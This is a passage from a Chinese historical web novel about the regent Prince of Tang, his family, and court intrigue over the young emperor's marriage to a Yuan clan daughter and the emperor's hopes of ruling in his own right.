赵绥也是会哄了小未婚妻的少年郎。这不,归途之时,不忘记带了哄一哄小未婚妻的礼物。 当然,给了未婚妻的,肯定不能少了给二弟的。 不然,话唠的二弟一定多叨叨。 这当兄长嘛,得当了好兄长,同时,也得当了好夫郎。 赵绥觉得,他不难的。毕竟这一点小事,他妥妥的能办好。 心头欢喜,哪怕小夫郎给的一根草,带上了情意绵绵也让挛堤明珠欢喜。 “真有趣。”瞧着那糖人儿,多漂亮啊。 挛堤明珠很喜欢。 她接过来,开开心心的。 一时之间,二人相处,颇是欢喜萦绕。 唐王府的气氛甚好。 倒是宫廷之内,泰一宫。 赵济世见了帝王,他的身后跟随了心腹。同时,还是有人被拧着,拧往了泰一宫。 赵济世的阵仗,可谓是吓唬住了正统帝。 “唐王何故如此?” 在赵济世客气的问安后,正统帝问道。 哪怕心里有谱,可应该给帝王问安的礼,赵济世没省掉。 何必如此? 赵济世查出来正统帝背景的小动作,这些不重要。 只赵济世更想借此,在朝堂上清洗掉一些人。 对于赵济世而言,朝堂上嘛,那很有了一批地方的代言人。 这一回,对于一些能拿下的地方豪强与大族,赵济世不吝啬的。 毕竟权势这东西,那当然是滚雪球更好的。 赵济世更想一家独大。 “有人背叛大赵,勾连外邦,臣已经查明,人证物证俱全。” 赵济世要放大招的。 这一回,差腹心之辈拧来的,那便是人证。 就因为是人证,正统帝才心虚啊。 因为人证嘛,他太熟悉了。 “背叛大赵……”正统帝心抽抽。 要说正统帝的心中,谁是乱臣贼子?如今的赵济世这一位唐王排第一位。 第117章 “陛下何故谋反?”在正统帝听着赵济世这一位摄政王讲出这一句话时,正统帝愣在当场。 也便是不能爆粗口,不然,正统帝当场想骂娘。 正统帝真想问,唐王何故敢讲出此话? 这大赵天下,乃是正统帝的江山社稷,他谋反 ,谋哪一门子的反? 可这会儿的赵济世却是一幅不理解的神态。 要说演戏,倒有三分。 只是这演戏嘛,唐王赵济世就得演上了。 给正统帝扣帽子的事情,一旦拿着证据,那当然得扣实了。 谁让正统帝真干了卖自大军与家国的事情。 正统帝干的,赵济世自然就敢揭开了盖子来。 或者说打从宋国舅,还有五望那几家大姓的下场一出来。 赵济世就太懂,走到他今天的份上已经没退路。 不止他不想退,不想死全家。更主要是赵济世这一系的人马,没谁会让赵济世退的。 因为赵济世不止代表了他一人。一旦他出问题,属于他这一系的人马全得糟糕。 说白了,赵济世如今已经成为一个派系的代言人。 非不是他想不想的。 从赵济世崛起的那一刻起,他就已经是一个符号。 集众者,于伟力于己身。从来不可能只拿好处,不沾因果。 赵济世就是唐王一系的代言人。 有这等觉悟的赵济世知晓,他这一辈子会不会走出那一步? 尚不可知。 可他得替儿孙考虑到前程。有些事情,赵济世不介意脏了自己的手。 反正青史评价从来不看脏手不脏手,而是看输家。 有觉悟的赵济世干大事小事,那从来不惜身。 就像是如今的做派一样。 这是赵济世在发出了某些信号,这是做给明眼人瞧的。 唐王一系的人很敞亮。可中间派? 赵济世自然要团结一些人。如今嘛,就想看一看哪一些人是识实务的。 又有哪一些人想替大赵的旧日黄昏陪葬了。 若是有人想死,赵济世就一定敢埋。 发生在泰一宫的事情,在如今实握内廷的唐王不想隐瞒的情况下。 唐王的名言“陛下何故谋反”?这当然是宣于悠悠之口。 当然,这得是上层人才知道。 真是普通黎庶又哪会在意这等事情,对于普通黎庶而言,活着,用尽全力的养活自己与家小,那便是挣扎着消耗掉全部的力量。 又是冬日一场雪。 赵济世下衙很早。他归来,专门陪着妻子赏雪。 二人漫步于梅林里,梅香萦绕于鼻间。赵济世亲手摘下一枝梅。 “今天冬酿,妹妹可得多酿多坛的好酒。”赵济世笑道。 “来年,安康年岁渐长,可以学着品一品好酒。” 赵济世的目光里有期许,他道:“我盼着这孩子多替我这当爹的分忧呐。” “瞧济世哥哥的话,你一直待安康就有很高的期许。如今,那孩子满心满眼就想着替你分忧,多得你一二赞许。” 万珍珠嗔怪一回。 此时的赵济世递了梅花给予妻子。 万珍珠接过来,轻轻的嗅一嗅。这会儿的赵济世凑近于万珍珠跟前,笑道:“安康越来越稳重,我甚是放心的。” “他是好兄长,瞧着也懂心疼弟弟。”赵济世对于嫡长子赵绥很满意。 一个好的继承人,那对于哪一家的家业开创者而言,那都是无限欣慰的事情。 “妹妹,只我一件事情,说与你听。”赵济世的神色严肃起来。 “若有那么一日,一旦我事败,安康与我不得退路。只安福那儿,还要妹妹操心。总要予你我夫妻二人留了血食香火。” 赵济世在寻退路。 万珍珠沉默了。 良久后,万珍珠讲道:“我这一辈子见过苦日子,也是品过万千富贵。如今得来的荣耀,尽是哥哥给予的。” “夫妻一体,父子一体。将来如何,我与安康总要陪着哥哥一道尝了果子的酸甜苦辣。兰絮因果,我是自个儿挑的夫君,什么样的前程,什么样的归途,都不要紧的。” 万珍珠是认真的态度,她的心里,享受了好果子。 那么,未来落难了,那也应该的。 “至于安福,若是有那么一天,哥哥宽心。我有海外,也有一些底子。商社总归有退路的。万一……” 万珍珠浅浅一笑,道:“真有万一,便是让安福去海外,去异国他乡吧。这中原之地,不留也罢。总归会留了你我一丝血脉香火的。” “至于安福之后的儿孙们,那太遥远了,我看不到那么远。能见的,不过方寸之间的小事。哥哥,我只以为,我思了安福的退路即可。” 万珍珠握了夫君的手,又道:“只哥哥大丈夫当一往无前。若思退路,怕坠了大丈夫的青云之志。” 更主要还是有退路,未必有一搏的勇气了。 至少,万珍珠很怕的。 因为唐王一系的所有人,他们的前程喜乐皆系于眼前的夫君身上。 万珍珠握着夫君的手,甜甜一笑,又道:“我陪哥哥走一遭,人生好坏,听天意,尽人事。” “哈哈哈……”赵济世大笑一遭。 “妹妹说的对,安福之事,有你这当娘的顾虑即可。我这一辈子,一往无前,勇于任事,不思退路,不坠大丈夫青云之志,百折无悔,这般才不辜负了此生。” 赵济世这会儿想开了。 他不思退路了,因为没得退。有枕边人的相畔,这一辈子又有了满意的继承人。 心满意足,足慰平生。 夫妻二人颇是默契时。万珍珠又讲了一二镐京都的小事。 或者说当年亲爹留下来的人脉,这些年里万珍珠经营的挺好。 晋朝的镐京都出乱子,万珍珠当然要添火浇油。 对此,赵济世是非常支持的。 “晋朝,总有一日,我当领兵踏足镐京都。如此,也替儿孙了一桩麻烦。” 赵济世心中有建功立业的想法。 那么,凭如今的基础,赵济世觉得本钱还不够。 哪怕在朝堂上,在地方上再是集积了更多的本钱,依然不够。 赵济世想灭了晋朝,想改朝换代。 从来曾的有此刻这般,赵济世想凭灭国之功,行禅让之事。 毕竟那九五至尊的龙椅宝座,李家人坐得,赵家人如何坐不得? 正统四年,燕京都瞧着风不平,浪不静。唐王府的威风倒是一日更甚一日。 至于唐王世子赵绥的好名声,那也是在诸兵卒的口口相赞中,那是集了大把的人缘。 或者说不止是人缘,而是唐王世子有了自己的威望。 正统五年,一开春,正统帝小病一场。 不止正统帝病一场,宋太后也病了。这一回是大病一场。 就在宋太后病得利害,太医束手无策。瞧着又一位太后娘娘要薨逝时。 赵济世这一位唐王在心腹府上吃酒时。他巧遇了一位美人。 那美人五岁像极了年少时的唐王妃万氏。 真不是赵济世这一位唐王喝酒,那喝得醉意上头。 而是赵济世恍然之间,真像极了瞧见初动心时的珍珠妹妹。 只恍然愣神。尔后,赵济世的眼眸子微眯。 对于赵济世而言,他在怀疑,这是谁的局? “……”虽然恍若一梦,当场失了片刻的神。 可赵济世回神后,便是收敛心神,浑不在意的离开。 可注意着唐王一举一动之人,这等时候岂能不献媚。 于是等唐王离开后,这一位恍然唐王一时失神的美人儿,那被人赠送到了唐王府。 倒是赠美人的,那不想赠与唐王。 而是赵济世没给人开口的机会,他施施然离开了。 唐王府。 万珍珠在内宅知此事后,她见了那一位下面人赠送的美人。 莫说赵济世恍神。 就是万珍珠瞧了,也是恍然出神。真正是瞧镜子里的自己,那什么眼神儿? 瞧着五分似年少时的自己,还有那一身衣着,那太像了。 明明容貌五分像,太是衣着一模一样,这六分的风蕴,万珍珠都是瞧着走神了。 “利害。”万珍珠得夸一句。 这谁摸的心思,真是歹毒。 至于这美人儿从何而来?万珍珠准备查一个仔细。 这都是摸着她的老底,万珍珠很在意的。 “嬷嬷,这姑娘带到客院,便当一客人安排吧。” 万珍珠吩咐一句。 “唯。”万嬷嬷应下此事。 至于那一位被传召而来的姑娘,万珍珠瞧一眼,让万嬷嬷领走了。 这姑娘不重要,背后生事的人,那让万珍珠很在意的。 晚间。 夫妻二人独处时,万珍珠对着枕边人感慨道:“瞧着旁人赠了哥哥的美人儿,我真是要押醋了。” “心窝窝里,这儿有一点钝钝疼,还是酸味儿一直在喉间翻滚着。” 万珍珠执起夫君的手,一下子按在了自己的心窝窝处。 赵济世听着耳边的软语温柔,手在覆盖于娇妻的心窝窝上。 赵济世笑了。 “这醋,妹妹押了,我是许的。” “妹妹与我一体同心,我们还有安康、安福两个孩儿。我的心思,妹妹哪有怀疑的道理。” 听着枕边人的话,万珍珠顺势依偎进夫君怀中。 “哥哥是好心人,一心疼我的。就怕有人见不惯我这一位唐王妃,一心想撺掇了我们二人的感情。” 万珍珠温声细语的又道:“三人成虎,众口铄金。我不怕旁人诽议。我怕哥哥承受太多的流言蜚语,哪一日,真是与我讲了善良的谎言。你我夫妻不够坦诚时,倒容易让旁人钻了空子。” “哥哥,那像我的小姑娘再像,她不是我。我也不在意她一个小人儿的。” 万珍珠揽住夫君的腰。 “罢,不提那些不开心的事情。哥哥,今个晚,你陪我。” “好。” 这会儿的赵济世太懂了,枕边人不是想与他争辩什么。 夫妻感情那点事,自然是床头“打架”床尾和。 嗯,打什么架?当然是妖精打架了。 第118章 对于如今的万珍珠而言,她开口了,自然索来了那一个旁人赠的美人一家子老小。 也如此,待万嬷嬷详细的审问一番后,答案呈于万珍珠的面前。 “朱三姑娘的贴身大丫鬟翡翠的小闺女刘月奴。” 万珍珠念叨一回这一位似乎她五六分的美人儿的来历。 真是久远的快让万珍珠忘记的人啊。毕竟,当年的旧事,真的太久远了。 特别是朱三姑娘,真真是快让万珍珠遗忘的过去。 只如今再让人番出旧日的事情来。万珍珠心头琢磨一番。 免不得让人猜测了,这里头又有多少人在掺合。 “我且见一见旧人吧。”万珍珠想见一见翡翠。 或者说她只是缅怀过往吗? 不,万珍珠只是想知道,翡翠这人真在眼前,她是不是念旧情? 结果真的见了翡翠时,万珍珠发现,翡翠似乎跟她记忆里的模样变了太多。 老了,那比着万珍珠年老二三十岁的模样。 万珍珠心头一声叹息。 瞧着翡翠恭敬的跪在地上,万珍珠摆摆上,示意对方起身。 真没必要这般。万珍珠见一见旧人,真不是什么显摆。 “朱府啊,多遥远的过去。”万珍珠感慨一句。 “那么,翡翠,你是故意的吗?将自己女儿打扮成我的模样?”万珍珠问道。 “……”翡翠,又或者说如今的刘家婆子很害怕。 如今的万珍珠,哪有旁人说与她时,那般的半分模样。 在翡翠的心底,万珍珠还是旧日的万珍珠。 可实际见着了,如今的唐王妃大不同。 居高位,养贵气。一日不见,如隔三秋。太久不见,一切皆是不一样的。 刘家婆子很害怕。 “王妃,一切不是咱家自愿的。咱家老小,尽数让人逼的。” 刘家婆子求饶了。 当然,这逼没逼?当然有人诱惑了。 或者说刘家老小在泼天的富贵面前,那肯定得搏一回。 不搏,当初的主子与背后的人饶不了刘家老小。 搏了,也不过搏一个机会。 如今瞧了,也算不得输赢。因为前程未定,如今的刘家老小生死只在唐王妃的一念之间。 刘家婆子哭得凄凄惨惨,也不敢多讲旧日的事情。 在刘家婆子的心底,这往昔的唐王妃做过丫鬟一事。那等不堪。 依着刘家婆子想来,那肯定不会让人想知道的。 刘家婆子可不敢犯了忌讳,只敢喊了冤枉。只道自家老小让人拿捏,只不过是贵人一句吩咐就办事儿。 他们一家老小是办事的,真正的主子老是主谋的人。 瞧着刘婆子磕头,那磕的用力,几下额头见血。 万珍珠一声叹息。 “罢,你家也确实做不得主。”万珍珠又道:“万嬷嬷,把刘家老小安排去庄子上干活吧。” 放人? 那不可能放人的。 毕竟真让人出去乱讲话,那是给唐王府招事。 可真的留王府里,万珍珠心里膈应。那只能让人去庄子上,往后就是做了庄户过日子。 “唯。”万嬷嬷应下了主子的吩咐。 刘家婆子听着唐王妃的答案,这是心头大大的松一口气。 小命保住了,一家老子小总归有一条活路。 再多求,刘家婆子是不敢的。 关于这事,万珍珠不在意。只是当晚,跟夫君当独相处时,略略的提一句。 对于万珍珠而言,她更在意了另外的事情。 那燕京都的一些风云变幻。 “济世哥哥,满城都在议论了,说是陛下到了成婚的年岁。这应该大婚了。”关于这事情,万珍珠很上心。 因为这事情关系着唐王府的前程。毕竟天子一旦大婚,这可是要亲政的。 到时候摄政王又算什么? “天子大婚?”赵济世琢磨一下后,笑道:“应该大婚了。” “济世哥哥不担忧吗?”万珍珠的眼眸子里有担忧之色。 “这事情拦不住,既然拦不住,倒不如瞧一瞧谁万般热心的替天家奔走。”赵济世当然有自己的想法。 万珍珠一听,懂了,这是钓鱼啊。 “我只怕,这动心的人里有大鱼。万一,这咬断了钓钩呢。”万珍珠也怕,人嘛,这一辈子就怕一个万一。 “妹妹不必担忧。如今的承天府地界,还没有那般的人物出现。至于地方上的世家世族……”赵济世的眼眸中一闪而逝的冷光。 “若有人动心了,我且等着,就想瞧一瞧对方的本事有几斤几两。” 赵济世几乎可以算是亮了牌面。 在泰一宫说的那一句话,“陛下何故谋反”? 赵济世在试探。 可他试探了,瞧着燕京都没起大风波。赵济世挺失望的。 没人搅和,这说明有人蛰伏。这对于赵济世而言,打窝了,没钓着鱼,就挺失望。 晋朝,镐京都。 李太后瞧着朝堂上的乱糟糟,或者说最近的斗争太激烈。 李太后心忧的很。 一旦朝堂格局大变,这里面的变数太大了。李太后心不安。 也是这般时候,关于大赵朝的传来。在知道唐王的野心后。 李太后真是骂了乱臣贼子。 可骂归骂,李太后也知道她拿大赵的唐王没折。 倒是又知道燕京都的新消息,来年,大赵选秀,将要选出帝王的大婚中宫皇后。 这等消息一传来。 李太后的心中又有期盼。对于李太后而言,她是盼着娘家越来越好。 毕竟大赵皇室稳,李太后在晋朝的太后地位就会很稳。 只大晋朝如今的情况嘛,瞧着一时半会儿,那没一个结果。 毕竟权利在那儿,一旦沾手了,没人会想着丢开。 因为权利的顶峰之位就那么丁点,一旦有人被踩下去。 那不止自己会倒霉,家族也会跟着倒霉的。 没谁会想着替人做嫁衣,谁都不傻。至少能爬到权利顶峰的人物,那没傻子。 大赵朝,燕京都。 皇家要选中宫的事情,自然是热闹非凡。 有多少人动心了,这可能是未知数。可万珍珠从女眷的圈子里真收集了不少的消息。 “伯母,您不担忧吗?一旦陛下亲政,于唐王府未必是好事。万事总当未未雨绸缪。” 挛堤明珠知道自己不应该多嘴的。 可挛堤明珠替婆家多思多想,她还是忍不住在一个下午时分,陪着未来婆母吃茶闲谈时,她讲出了心底的担忧。 “这等大事,自有你伯父与安康去操心。”万珍珠笑着望向了未来的大儿媳。 “且宽心,他们都心中有成算的。”万珍珠安抚了好儿媳。 对于挛堤明珠,这是越相处,万珍珠越满意。 主要是挛堤明珠把亲儿子安康是搁心尖尖上。 这一份用心,那让万珍珠欢喜。 当娘的,那肯定心疼亲儿子。未来的好儿媳也是爱慕了儿子,瞧着这般会体贴人的儿媳,万珍珠做婆婆的心底妥帖。 只能说坐哪,屁股在哪,这立场就在哪。 哪怕万珍珠也知,挛堤明珠和大儿子的年岁还小。 可世道不同。如今的世道,普通人的寿数真不长。 早婚,或者说早早成婚,这是符合民俗民情的。 毕竟人的寿数短了,再是晚婚,那不是孩子没长大,就少了帮扶的爹娘。 那哪成? 万珍珠从来是搞不倒规矩与世俗,那肯定就是从了。 哪怕在万珍珠眼中,儿子跟未来的儿媳这是小学生一般的早恋史。 可这世道,那就欣赏这样的青梅竹马。毕竟打小的感情培养,将来才深厚。 对此,儿子不反对,儿媳也乐意。万珍珠当然有成人之美。 这会儿万珍珠拉拢了儿媳,二人吃吃茶,说一点开心的事情。 等着说到欢喜时。安福也来了趁热闹。 一时间,气氛更好。 有小儿子和未来的大儿媳陪一陪,万珍珠心情甚悦。 她觉得凭着这般的美好生活,她还能多活几十年的寿数。 正统五年,春。 又是一年过去。这一年,对于大赵朝而言,最惹眼的事情自然是择了正统帝的中宫皇后。 明明天家选后,可这真正做主的。那却是唐王府的主子。 “果然,这世道胆大的居多。”赵济世下衙门归来。这与妻子说一说心事。 “妹妹也听说了吧,这挑着入宫的人选里,七姓世族的大家女俱全。”赵济世提了朝堂上最要紧的事情。 “听说了。”万珍珠颔首。 “那济世哥哥准备办?”万珍珠寻问道。 “怎么办,当然是成全了。”赵济世平静无波的回道。 “济世哥哥,七姓望族,名望太大了。怕是容易招了麻烦。”万珍珠可知道,当初的五望大族倒台。 那时候燕京都就平静不了。 或者说那时候五望大族倒台,掺合的人里,哪怕最后得利的是赵济世,是唐王府。 可七姓大族也是掺合的很深。或者说当时嘛,有能耐的都是搅和进去。 不过是赵济世有兵权,兵强马壮的拿了最后的胜利。 可这一份胜利,根基未必多深厚的。这些年里,唐王府一直在扎实基础。 七姓如今瞧着不老实了。 这七支大族,不止在朝堂上的声势大。在地方上,那根基也扎得很深。 “七姓大族,又岂能一条心。中宫皇后可只有一个位置。” 赵济世的意思很明显。这里面的操作空间很大的。 万珍珠听懂了。 “也好,既然济世哥哥有筹谋,我且宽心了。我得了宫廷的懿旨,太后娘娘召见。” 万珍珠提到宋太后时,她的神色有一点微妙。 “这一回进宫,可得好好的恭喜太后娘娘了。将来挑一位贵重的儿媳,一定能担起了中宫的重任。” 好话嘛,万珍珠总要讲一讲。 可内里如何,万珍珠和枕边人都清楚的很。 正统五年,春末。燕京都的大选结束。 袁氏女被宋太后点中为正统帝的元后人选。 袁氏,七姓望族。天下名声显赫。 袁氏女做中宫皇后,自然是理所应当,没半点儿的波澜。 或者说这等门第的嫡枝女做皇后,没谁能挑出来毛病。 袁府。 已经被点中被未来皇后的袁四姑娘一回府,袁家夫人就是欢喜。 可袁家主不欢喜。 “老爷不高兴?”袁家夫人自然懂得瞧枕边人的情绪。 这不,哪怕女儿那儿有宫中的宫人侍候,可不敢怠慢半分贵人。 袁家夫人还要关切了袁家主的心思。毕竟袁家主是顶门立户的担当。 “当初与女儿有言,不过是支应一个过场。如何,就是袁氏女当选?” 袁家主当然不开心。 明明当初的意思,袁家主就是让女儿走一个过场。 当然,大选是要参加的。只是女儿到时候巧合的病一场,便是落选归家。 哪料想,这中间出差子。 这出差子的源头在亲闺女的身上。亲闺女瞧着,如今是一颗真心系于陛下那儿。 这如何不让袁家主心生愤怒。只是袁家主的养气功夫很好。 这怒了,也只是心头怒,没表现了半分。 “老爷,您不妨与女儿仔细谈一谈。我瞧着,女儿心底也是有成算的。”袁家夫人劝话道。 听着夫人这般讲,袁家主太懂了,想来,这里面还有文章。 夫人劝过,袁家主也想听一听,他的嫡女有何等的成算? 如今的袁四姑娘是未来的中宫皇后。一般二般,身边跟随了太多的宫廷宫人。 这些可是专门来侍候袁四姑娘的。 当然,这在袁府。只要袁家想,这自然有法子。 于是在前院书房里,袁家主见到了嫡女。 袁家主向亲闺女问安。这是问的国礼。 袁四姑娘受了国礼,尔后,又给父亲见了家礼。 “使不得。”袁家主客客气气的态度。 “父亲生女儿的气了?”袁四姑娘问道。 袁家主当然生气。 可袁家主不表现出来。他只道:“如今贵人家身份不同,尊卑有别。 ” “臣是受不得贵人的礼。”袁家主这般讲道。 “女儿是袁氏女,一辈子都是父亲的女儿。女儿的家礼,父亲如何都受得起。”袁四姑娘的语气里,那有一股子的坚定。 袁家主从亲闺女的话里,也是听出来一些意思。 “贵人之意,家族为重?”袁家主问道。 “自然是的。”袁四姑娘肯定的点头。 “父亲,唐王世子已定亲,还是一胡人蛮女。唐王府不亲近世家大族,唐王一系不给予我等的亲近。唐王府太独了。” 袁四姑娘说了她的看法。 “唐王……”袁家主沉默一下,讲道:“唐王有大本事,惜哉,与我等世族不是一条心。” “父亲明鉴,既然唐王府与家族不是一路人。那么,女儿总要挑别外的高枝攀一攀。” 袁四姑娘说的坦然。 “在宫廷里,女儿见了陛下。陛下英姿勃勃。未来未必没有一番作为。”袁四姑娘相中的未来,那自然是正统帝。 “更何况,唐王一介武夫,他能坐了摄政,父亲如何做不得?”这才是袁四姑娘的真实想法。 自家人信自家人。袁四姑娘的眼中,唐王一系太粗鄙。 唐王一系的高位里,注定了没了世家大族的位置。 或者说七姓这等望族想掺合,那也搅和不进去。 这才是要命的地位。因为七姓的利益太多。 家族为重的情况下,袁氏一族必不想割自家的肉,喂了野心勃勃的鹰。 “这一注,下得太大了。”袁家主心中还是左右衡量。 “可家族还有多少退路?”袁四姑娘问道。 “唐王信武夫,甚于信我等世族。父亲,一退再退,岂能有多少退路。倒不如凑着七姓暗中款渠之时,勾对一番,做一番大业。” 袁四姑娘一指自己,笑道:“大不了,女儿做了棋子。一旦局势不利,舍了女儿,保了家族便是。” 袁家主听懂了女儿的意思。 真是万一瞧走眼,真的要输了。袁氏一族就投子认输。 到时候舍一女子,保整个家族。 那时候肯定割肉更狠,可到底,还是有活路的。 如今嘛,有得赌,在赌桌上还有赢的机会。 袁四姑娘压上自己的终身大事,那是赌一把大的。 袁家主让自己的亲闺女说服了。或者说,袁家主也觉得那摄政的位置。 唐王坐的,他也坐的。 正统五年,唐王出征,征大晋朝。 唐王世子监国,依旧例行事。 朝堂上,倒没什么风波。哪怕是未来的皇后母族袁氏,那也是低调三分,貌似没跟唐王府打擂台的意思。 燕京都,宫廷内。 宋太后春季,又病一场。病好了,在大选后,那痊愈了。 或者说人逢喜事精神爽,对于宋太后而言,她太满意了未来儿媳袁氏。 “母后。” 天子唤一声,他道:“您可有心事?” 听着亲儿子的问话,宋太后讲道:“略有心事。” 宋太后当然有心事,她瞧着儿子的未来跟袁氏一族勾兑在一起。 宋太后很欢喜。 这不,儿子的终身大事有归宿。宋太后又担忧了娘家。 宋国舅没了,宋氏一族凄凄惨惨。宋太后不忍言。 总之,宋太后也不是没贴补。 可再是贴补,这不济于事。顶门立户的男丁全没了。 特别是嫡枝,太惨了。 宋太后如今的心态,那也是强撑罢了。 “天子将要大婚,哀家高兴。哀家只是遗憾了,你的舅家不能见证这等大事。” 宋太后也知道,如今的娘家小猫两三只。 这帮衬不上帝王什么。 听着宋氏一族,正统帝的心情不美妙。 如今的处境,或者说就是宋国舅留了不好的前例。 这不,摄政王就是寻了旧例。 对于宋国舅,正统帝没好感。对于宋氏的死伤惨重,正统帝只有暗戳戳高兴的份。 只不过当着母后的面,正统帝还要装一装。 “母后,待给皇后娘家赐爵时,朕再加赏了宋府。” 如今的宋家太惨了。 如此的宋家,好歹还有一些苗子。正统帝不挑,也乐意帮衬了。 毕竟这些人天然就是倾向于正统帝。 或者说没正统帝的招牌,宋氏一族在燕京都要活不下去了。 “天子有心了。”宋太后听着正统帝的话,那是很高兴的。 母子二人又说几句。 正统帝就提了唐王出征一事。他道:“唐王此番,恐是大胜……” 一旦大胜,唐王威望更高。在正统帝的心里,于他不利。 “……”宋太后沉默了。她也听懂了儿子语气里的担忧。 “如今天家大事,还是天子大婚一事。旁的,缓一缓罢了。”宋太后安慰一回。 “天子,你莫急。待你大婚,总会亲政。倒时候一切就不同了。”宋太后心底,她还是信了袁四姑娘这一位中宫的份量。 既然袁氏一族敢压注,在宋太后想来,袁氏一族自然会想法子帮衬帝王亲政的。 “我儿,你一旦大婚,袁氏一族也是你的大助力。”宋太后的眼中有光。 对于袁氏一族,不止宋太后有大期望,正统帝亦然。 若不然的话,正统帝在宫廷里何必冒了风险,还是想勾搭了袁四姑娘的一颗真心。 至于是不是真心? 在正统帝想来,他是真心的。只是这一份真心里肯定掺合了袁氏一族的份量。 从凤仪宫离开,帝王乘了御辇回泰一宫。 回泰一宫后,帝王在御书房里看奏本。 哪怕没亲政,当怕是泥塑的菩萨一般,只是高高的被人供起来。 可正统帝的御案上,应该呈上来的奏本,那是一本不少。 看一会儿奏本,正统帝跟心腹问道:“大伴,唐王世子也如朕一般阅了这些奏本吧。” 正统帝合上手中奏本,他跟全公公讲道。 “陛下明鉴,唐王世子乃监国,当阅奏本的。”全公公恭敬着回话道。 “……”此时的正统帝冷哼一声。 “一介小儿,倒是瞧着比朕威风。”正统帝在心腹跟前,还是说了心底真话。 “陛下且忍忍,一旦您大婚了,再亲政,倒时候便是龙翔九天之上。”全公公说了宽慰之言。 “亲政……”正统帝呢喃二字。 对于正统帝而言,他如今盼的,那就是大婚后的亲政这一根胡萝卜。 心头有念想,往昔瞧着阅了,也不过依旧当棋子,当傀儡的愤愤不平。 如今嘛,正统帝也觉得心气儿顺了不老少的。 “大伴,朕若亲政,尔等俱是朕之腹心。朕必厚待。尔等当与朕同荣,同享富贵。” 正统帝当了这些年的帝王,哪怕是小天子,也是知道给心腹们多画一画饼的。 第119章 赵济世这一位唐王西征。 唐王不在,一个点不影响了燕京都的热闹。或者说对于皇家而言,特别是正统帝而言,他将大婚,这太重要。 唐王府。 万珍珠对于女眷圈子很关注,她挺在意了那些燕京都的官员人家对于天子大婚一事的看法。 有些人的立场,总归让人在意的。 当然了,事情嘛,那肯定看了立场。或者说不看心迹,而看行动。 “王妃,永昌侯夫人来访。”万嬷嬷向万珍珠禀话道。 “快请。”万珍珠笑道。 永昌侯夫人是谁,乃是赵济世义弟马义的媳妇沈氏。 唐王府一旦得势,做为赵济世的义弟。马义等人自然也是一样的封侯拜将。 或者说那些年里,赵济世替义弟们寻的功劳里。 马义的功劳哪怕不够,虚虚应了事,勉强还是够封侯。 于是马义成了永昌侯。沈氏自然就成了永昌侯夫人。 “嫂嫂。”一见着万珍珠,沈氏赶紧问安。 “自家人,弟妹客气了。快,请落坐。”万珍珠笑着让一让。 沈氏在唐王府挺自在,毕竟常长往。这事情经营出来。 “嫂嫂,我来是向你说一桩喜事。”沈氏满眼开心的模样,她道:“妹妹有喜了。” 沈氏嘴里的妹妹,乃是先帝的嫔妃马小莲,马义的亲妹妹。 对于这一个义妹,万珍珠也是有感情的。毕竟那些来,二人真是相处了许久。 马小莲也惨,被承顺帝看重,纳入宫里。可这得宠不得宠的? 那另说。 承顺帝短命,马小莲在皇家寺庙里吃斋念佛了三年。 说是守节,守三年,怎么也应该够。 至少在赵济世与一众兄弟心里,应该给承顺帝的尊重,他们真给了。 可真让妹妹一辈子吃斋念佛,还是在庙里过清苦日子。 真是心疼妹子的兄长,那真办不到。 这不,万珍珠的法子也简单。与弟妹们一道的瞒天过海。 尔后,马小莲这一位承顺帝的嫔妃,那就名义上殁了。 实际上,马小莲换一个身份,成了沈氏的娘家妹子,再寻了姻缘。 去年,马小莲终于是寻得好姻缘。或者说让马小莲,不,如今的沈小莲满意的姻缘 。 如今沈小莲怀孕了,对于沈氏而言,那就觉得妹子苦尽甘来。 真不怪沈氏等人重视子嗣。而是这世道的视死如生。 这死后的香火祭祀,吃后人的血食,那顶顶重要。 真没了血食与祭祀,在世人眼中,那就是绝户,那就是不孝。 因为对不起祖宗嘛。 当然,更主要的原由。还是农耕时代,土地和人口最重要。 这不止对朝廷重要,对于个人而言,一样是重要的。 因为没有土地养活不了人口。而没有人口,又守不住土地。 “真是喜事。”万珍珠也不开心。这会儿不讲虚的。 万珍珠唤了万嬷嬷,差万嬷嬷去开库房。她自然要给义妹沈小莲备了贺礼。 这会儿的万珍珠和沈氏一起讲一讲沈小莲的开心事。 说来说去,这是一桩喜事。 喜事嘛,只要遇上了,谁都开心。 正统五年,秋。天子大婚。 赵济世西征的大军还在西边。虽然胜了大晋几回大战。 可到底还没有搬师归来。 在这等时刻里,天子大婚,迎娶了中宫袁皇后。 天子大婚了,摄政王又不在朝堂上。这不,朝堂上就是刮起了风声。 有御史请旨,在大朝会上请了话,便是请天子亲政。 至于赵绥这一位监国世子,他的年岁比天子还小呢。 这监国世子的威望,说是不足,在一些朝臣的眼中真不够。 对于赵绥而言,他还是要表演一个忠臣孝子。 甭管心头对于天子如何想法,给外人做戏时,赵绥也是好臣子。 只是关于天子亲政一事? 在心底,赵绥不想这事情发生。 真当赵绥是忠臣孝子?那不可能的。或者说打从真正明事里,知晓了唐王府的处境后。 赵绥就知道,他这一辈子就不可能做了大赵朝的忠臣孝子。 因为赵绥是唐王府的世子,他的立场与利益跟唐王纠葛在一起。 真是唐王府出事,赵绥这一位世子也一定跑不了,一样要倒霉的。 当然,御史有人冒头了。 这风声起来了,想压,一时半会儿没人能压住。 宫廷,泰一宫。 “陛下,皇后娘娘求见。”全公公向天子禀话道。 “皇后来了,快请进来。”正统帝一听袁皇后来了泰一宫,他忙吩咐一回。 不多时,在宫人的恭迎下,袁皇后进了御书房。 “恭请陛下圣安。” “梓潼,何必如此多礼。”正统帝忙搀扶起袁皇后。 “你来朕,也巧合。朕还准备去你那儿呢。”正统帝待袁皇后,那是心肝儿的态度。 可谓是捧手里怕摔了,含嘴里怕化了。 对于正统帝的“情义绵绵”,袁皇后受用的很。 “我来,也是想给陛下送了一盅汤。”袁皇后来的理由是送汤。 话罢,袁皇后使一个眼色,自有宫人呈上来一盅汤品。 当然不是袁皇后亲自熬的。 不过是心腹熬好了,袁皇后借一个名义。 汤,自然是滋补的好汤品。正统帝受用了。 对于袁皇后的美意,正统帝自然不会拒绝的。 二人这会儿在御书房里,也是你浓我浓。 当然,汤饮过了。 袁皇后还是关切了正统帝的身子,免不得也是提一二话语。 正统帝一听,也是起了心思,笑道:“走,这会儿朕陪着梓潼散散步,去御花园逛一逛。” 秋日,菊开。 正是菊香时,这会儿的正统帝陪着袁皇后赏菊。 当然是好时节,同时,二人还是在凉亭里,又是吃了蟹。 饮了黄酒,暖一暖胃口。 在洒入喉后,二人的气氛微妙又暧昧。 袁皇后便道:“陛下英雄神武,我瞧着,陛下将来一定会成了青史之下的明君。” “梓潼高看朕了,朕尚未亲政,一切料不准。” 